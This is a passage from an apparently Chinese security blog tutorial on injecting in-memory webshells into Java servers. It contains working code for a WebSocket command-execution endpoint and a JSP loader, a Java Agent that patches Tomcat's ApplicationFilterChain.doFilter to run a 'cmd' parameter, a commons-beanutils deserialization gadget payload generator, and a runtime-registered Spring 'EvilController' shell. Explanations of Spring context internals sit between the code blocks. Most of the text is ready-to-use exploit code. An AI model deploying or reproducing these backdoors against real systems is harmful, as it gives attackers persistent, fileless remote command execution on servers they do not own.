101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 7, 0, -111, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 17, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 1, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 1, 120, 0, 4, 0, 8, 0, 0, 0, -111, 4, 61, 18, 2, -72, 0, 3, 78, 45, -58, 0, 17, 45, -74, 0, 4, 18, 5, -74, 0, 6, -103, 0, 5, 3, 61, 28, -103, 0, 24, 6, -67, 0, 7, 89, 3, 18, 8, 83, 89, 4, 18, 9, 83, 89, 5, 43, 83, -89, 0, 21, 6, -67, 0, 7, 89, 3, 18, 10, 83, 89, 4, 18, 11, 83, 89, 5, 43, 83, 58, 4, -72, 0, 12, 25, 4, -74, 0, 13, -74, 0, 14, 58, 5, -69, 0, 15, 89, 25, 5, -73, 0, 16, 18, 17, -74, 0, 18, 58, 6, 25, 6, -74, 0, 19, -103, 0, 11, 25, 6, -74, 0, 20, -89, 0, 5, 18, 21, 58, 7, 42, -76, 0, 22, -71, 0, 23, 1, 0, 25, 7, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -120, 0, -117, 0, 25, 0, 3, 0, 37, 0, 0, 0, 54, 0, 13, 0, 0, 0, 24, 0, 2, 0, 25, 0, 8, 0, 26, 0, 24, 0, 27, 0, 26, 0, 29, 0, 71, 0, 30, 0, 84, 0, 31, 0, 100, 0, 32, 0, 120, 0, 33, 0, -120, 0, 36, 0, -117, 0, 34, 0, -116, 0, 35, 0, -112, 0, 37, 0, 38, 0, 0, 0, 92, 0, 9, 0, 2, 0, -122, 0, 43, 0, 44, 0, 2, 0, 8, 0, -128, 0, 45, 0, 46, 0, 3, 0, 71, 0, 65, 0, 47, 0, 48, 0, 4, 0, 84, 0, 52, 0, 49, 0, 50, 0, 5, 0, 100, 0, 36, 0, 51, 0, 52, 0, 6, 0, 120, 0, 16, 0, 53, 0, 46, 0, 7, 0, -116, 0, 4, 0, 54, 0, 55, 0, 2, 0, 0, 0, -111, 0, 39, 0, 40, 0, 0, 0, 0, 0, -111, 0, 56, 0, 46, 0, 1, 0, 57, 0, 0, 0, 47, 0, 7, -3, 0, 26, 1, 7, 0, 58, 24, 81, 7, 0, 59, -2, 0, 46, 7, 0, 59, 7, 0, 60, 7, 0, 61, 65, 7, 0, 58, -1, 0, 20, 0, 2, 7, 0, 62, 7, 0, 58, 0, 1, 7, 0, 63, 4, 0, 1, 0, 64, 0, 65, 0, 1, 0, 36, 0, 0, 0, 83, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 22, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 14, 0, 3, 0, 0, 0, 41, 0, 5, 0, 42, 0, 12, 0, 43, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 13, 0, 39, 0, 40, 0, 0, 0, 0, 0, 13, 0, 32, 0, 33, 0, 1, 0, 0, 0, 13, 0, 66, 0, 67, 0, 2, 16, 65, 0, 41, 0, 68, 0, 1, 0, 36, 0, 0, 0, 51, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 7, -74, 0, 28, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 17, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 39, 0, 40, 0, 0, 0, 3, 0, 69, 0, 0, 0, 2, 0, 72, 0, 73, 0, 0, 0, 2, 0, 74, 0, 71, 0, 0, 0, 18, 0, 2, 0, 31, 0, 110, 0, 70, 6, 9, 0, 102, 0, -118, 0, -120, 6, 9};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
if (null == container.findMapping(urlPath)) {
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
e.printStackTrace();
}
}
}} catch (Exception e) {
e.printStackTrace();
}
}
}
EvilWebsocket类,主要是想拿到它的字节码,然后加载进JVM中:
import org.apache.catalina.core.ApplicationFilterChain;import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;public class EvilWebsocket extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String command) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
session.getBasicRemote().sendText(output);
} catch (Exception exception) {
exception.printStackTrace();
}
}@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
之后可以使用以下python代码作为一个简单的websocket客户端执行命令:
import websocketws = websocket.create_connection("ws://127.0.0.1:8080/evilWebsocket")
while True:
command = input("")
if command != "exit":
ws.send(command)
result = ws.recv()
print(result)
else:
ws.close()
break
执行结果:
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %><%!
public static class EvilWebsocket extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String command) {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
session.getBasicRemote().sendText(output);
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = "/evilWebsocket";
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(EvilWebsocket.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
try {
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
} catch (Exception e) {
}
%>
Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意代码添加进去。
Java Agent 支持两种方式进行加载:
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
实现 premain 方法在RASP中必用到,但是因为通过premain注入内存马过于鸡肋,需要重新启动Web服务,制定-javaagent,这里就不再介绍。先写一个简单的实现了agentmain 方法的例子:
package org.example;import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.example.Hello";public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TestTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
package org.example;import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;public class TestTransformer implements ClassFileTransformer {
public static final String ClassName = "org.example.Hello";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
try {
ClassPool pool = ClassPool.getDefault();
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("Hello");
m.insertBefore("System.out.println(\"Attach Successful!\");");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
打成jar包:
之后我们写以下几个类:
package org.example;import java.util.Scanner;
public class HelloWorld {
public static void main(String[] args) {
Hello h1 = new Hpackage org.example;public class Hello {
public void Hello() {
System.out.println("Hello World!");
}}ello();
h1.Hello();
while (true)
{
Scanner sc = new Scanner(System.in);
sc.nextInt();
Hello h2 = new Hello();
h2.Hello();
}}
}
package org.example;
public class Hello {
public void Hello() {
System.out.println("Hello World!");
}}
package org.example;public class Attach {
public static void main(String[] args) {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.equals("org.example.HelloWorld")){
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "/home/rainb0w/codes/java_projects/agent/out/artifacts/agent_jar/agent.jar";
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
}
tools.jar 不会在 JVM 启动的时候默认加载,这里通过URLClassLoader加载tools.jar。attach到org.example.HelloWorld,加载agent.jar更改Hello类的Hello方法,将System.out.println(\"Attach Successful!\");
插入到了Hello方法前面。
执行HelloWorld的main方法,输出了一次Hello World:
执行Attach的main方法后,随意输入一个数,可以看到Hello类的Hello方法已经被改变:
了解JavaAgent后,我们可以来打内存马了。还记得我们在Filter内存马那里的流程分析吗?在经过org.apache.catalina.core.ApplicationFilterFactory#createFilterChain后我们得到了一个ApplicationFilterChain对象,之后又调用了这个ApplicationFilterChain对象的doFilter函数,其中有request对象参数和response对象参数。因此我们可以更改ApplicationFilterChain类的doFilter函数,向它的前面添加一些恶意代码。
首先创建一个简单的SpringBoot项目,并导入common-beanutils依赖,以下是一个示例controller:
package com.example.vul_demo.controllers;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;@Controller
public class DeserializeController {
@ResponseBody
@PostMapping("/deserialize")
public String Vuln(@RequestParam(required = false, name = "bytecodes") String encodedBytecodes) throws Exception{
// System.out.println(encodedBytecodes);
if(encodedBytecodes == null){
return "Hello, World!";
}else {
System.out.println(encodedBytecodes);
byte[] bytecodes = Base64.getDecoder().decode(encodedBytecodes);
InputStream inputStream = new ByteArrayInputStream(bytecodes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
}
return "Hello World!";}
@ResponseBody
@GetMapping("/index")
public String sayHello(HttpServletRequest request, HttpServletResponse response) throws Exception{
try {
System.out.println("hello world");
} catch (Exception e) {
e.printStackTrace();
}
return "Hello!!!";
}
}
之后给出生成payload的代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(AgentTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});return queue;
}@org.junit.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}}
恶意模板类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class AgentTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
static {
try{
java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
System.out.println(toolsPath.toURI().toURL());
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null);for(int i=0;i<list.size();i++){
Object o = list.get(i);
java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
String name = (String) displayName.invoke(o,null);
System.out.println(name);
if (name.equals("com.example.vul_demo.VulDemoApplication")){
java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
java.lang.String id = (java.lang.String) getId.invoke(o,null);
java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
java.lang.Object vm = attach.invoke(o,new Object[]{id});
java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
java.lang.String path = "/home/rainb0w/codes/java_projects/agent/out/artifacts/agent_jar/agent.jar";
loadAgent.invoke(vm,new Object[]{path});
java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
detach.invoke(vm,null);
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}}
将以下项目打成jar包:
package org.example;import java.lang.instrument.Instrumentation;
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TestTransformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clas:classes){
if (clas.getName().equals(ClassName)){
try{
// 对类进行重新定义
inst.retransformClasses(new Class[]{clas});
} catch (Exception e){
e.printStackTrace();
}
}
}
}
}
ClassFileTransformer的实现类:
package org.example;import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;public class TestTransformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/",".");
if (className.equals(ClassName)){
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className);
CtMethod m = c.getDeclaredMethod("doFilter");String a = "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getWriter().write(sb.toString());\n" +
" response.getWriter().flush();\n" +
" response.getWriter().close();\n"+
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}";
m.insertBefore(a);
byte[] bytes = c.toBytecode();
// 将 c 从 classpool 中删除以释放内存
c.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}
利用生成的payload打,以下是注入结果:
可以看到,上面提到的这种注入Java Agent内存马的方法仍然需要上传文件。不过,在rebeyond师傅的这篇文章https://xz.aliyun.com/t/11640介绍了通过Java AgentNoFile的方式植入内存马,整个过程中不会有文件在磁盘上落地,而且不会在JVM中新增类,甚至连方法也不会增加。膜一波!
Spring容器就是ApplicationContext,它是一个接口,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。从ApplicationContext中可以根据Bean的ID获取Bean。
Spring还提供另一种IoC容器叫BeanFactory,使用方式和ApplicationContext类似
BeanFactory factory = new XmlBeanFactory(new ClassPathResource("application.xml"));
MailService mailService = factory.getBean(MailService.class);
BeanFactory和ApplicationContext的区别在于: BeanFactory的实现是按需创建,即第一次获取Bean时才创建这个Bean,而ApplicationContext会一次性创建所有的Bean。实际上ApplicationContext接口是从BeanFactory接口继承而来的。BeanFactory 接口是Spring IoC容器的实际代表者。
一个典型Spring 应用的web.xml 配置示例
<web-app xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
xmlns="<http://java.sun.com/xml/ns/javaee>"
xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee> <http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd>"
version="2.5"><display-name>HelloSpringMVC</display-name>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param><servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet><servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,其余都是Child Context。
所有Child Context都可以访问在Root Context中定义的bean,但是Root Context无法访问Child Context中定义的 bean。
所有的Context在创建后,会作为一个属性被添加到了ServletContext中。
ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即Root WebApplicationContext。这个Root WebApplicationContext会和其他Child Context实例共享它的IoC容器,供其他Child Context获取并使用容器中的bean。
ContextLoaderListener本质上是一个监听器。Spring 实现了 Tomcat 提供的 ServletContextListener 接口,写了一个监听器来监听项目启动,一旦项目启动,会触发 ContextLoaderListener 中的特定方法 contextInitialized
也就是说 Tomcat 的 ServletContext 创建时,会调用 ContextLoaderListener 的 contextInitialized(),这个方法内部的 initWebApplicationContext()就是用来初始化 Spring 的 IOC 容器的。
ServletContext 对象是 Tomcat 的;
ServletContextListener 是 Tomcat 提供的接口;
ContextLoaderListener 是 Spring 写的,实现了 ServletContextListener;
Spring 自己写的监听器,用来创建 Spring IOC 容器;
其相关配置如下:
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param><listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
DispatcherServlet 从本质上来讲是一个 Servlet(它继承自HttpServlet)。它的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。DispatcherServlet初始化完成后,会创建一个普通的Child Context实例。
综上: 每个具体的DispatcherServlet创建的是一个Child Context,代表一个独立的IoC容器;而 ContextLoaderListener所创建的是一个Root Context,代表全局唯一的一个公共 IoC 容器。
如果要访问和操作bean,一般要获得当前代码执行环境的IoC 容器(Child Context)代表者ApplicationContext。
有以下几种办法获取代码运行时的上下文环境:
第一种:
WebApplicationContext context = ContextLoaderListener.getCurrentWebApplicationContext();
getCurrentWebApplicationContext 获得的是 Root WebApplicationContext。但是请注意,打入内存马使用这种方式获取上下文环境时有一些限制,一种是目标不能是SpringBoot。我们刚刚看到ContextLoaderListener 如果要实现它应有的功能,是需要在 web.xml 中配置的。而 SpringBoot 中无论是以 main 方法还是 spring-boot:run 的方式执行都不跑 SpringBootServletInitializer 中的 onStartup, 导致 ContextLoaderListener 没有执行。因此通过这种办法获取到的context为null:
还有一直限制就是有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过这种方法也是获取不到Root WebApplicationContext的。
第二种:
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
使用这种方法可以获得一个名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。
先编写一个简单的Controller,之后在Controller类下断,然后访问配置的路由:
DispatcherServlet的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。我们可以看到我们的Web请求经过DispatcherServlet的doDispatch方法处理后被转发了过来:
对调用栈向上回溯看看DispatcherServlet是怎么做的分发:
通过调用HandlerAdapter类的handle方法对request和response对象进行处理,并且通过调用org.springframework.web.servlet.HandlerExecutionChain#getHandler方法获取了mappedHandler的handler字段。我们看一下mappedHandler是怎么来的:
跟进org.springframework.web.servlet.DispatcherServlet#getHandler
:
可以发现mappedHandler是对handlerMappings遍历后调用getHandler()得到的,打下断点,跟进到了org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler
:
在此处又调用了相应HandlerMapping实现类的getHandlerInternal()方法:
跟进后,发现又调用了父类的getHandlerInternal()方法,即org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal
:
首先获取了我们设置的路由,之后对mappingRegistry进行上锁,最后解锁。在mappingRegistry中存储了路由信息:
之后调用了org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod,我们跟进一下:
可以看到,是从mappingRegistry中获取路由。那接下来我们需要做的就是在mappingRegistry中添加路由。在AbstractHandlerMethodMapping中就提供了registerMapping添加路由。
但是AbstractHandlerMethodMapping类为抽象类。不过我们可以从当前上下文环境中获得RequestMappingHandlerMapping的实例bean:
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
在给出EXP前,首先给大家提一个醒,springboot 2.6.x 以上版本对路由匹配方式进行了修改,以往的手动注册方式会导致任意请求提示:
java.lang.IllegalArgumentException:
Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".
在网上找解决办法有三种,一种是降低版本,一种是修改默认映射策略:
spring.mvc.pathmatch.matching-strategy=ANT_PATH_MATCHER
还有一种方法:https://blog.csdn.net/maple_son/article/details/122572869
因此如果我们直接利用网上给出的EXP来向SpringBoot中注入内存马,是打不成功的。此处给出我写好的EXP,根据注释应该可以看懂。先写一个恶意的Controller:
package com.example.vul_demo;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;@Controller
public class EvilController {@RequestMapping({"/shell"})
public void MemoryShell(HttpServletRequest request, HttpServletResponse response) {
try {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
else {
response.sendError(404);
}
} catch (Exception var8) {
}}
}
之后用test2方法生成上面Controller类的字节码,然后跟websocket反序列化类似,从当前线程中拿到ClassLoader,然后将这个恶意的Controller加载进JVM,并按照刚刚提的第三种方法自定义注册RequestMapping:
package com.example.vul_demo;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import java.lang.reflect.Field;
import java.lang.reflect.Method;public class EvilTemplatesImpl extends AbstractTranslet {
static {
try {
String className = "com.example.vul_demo.EvilController";
//加载com.example.vul_demo.EvilController类的字节码
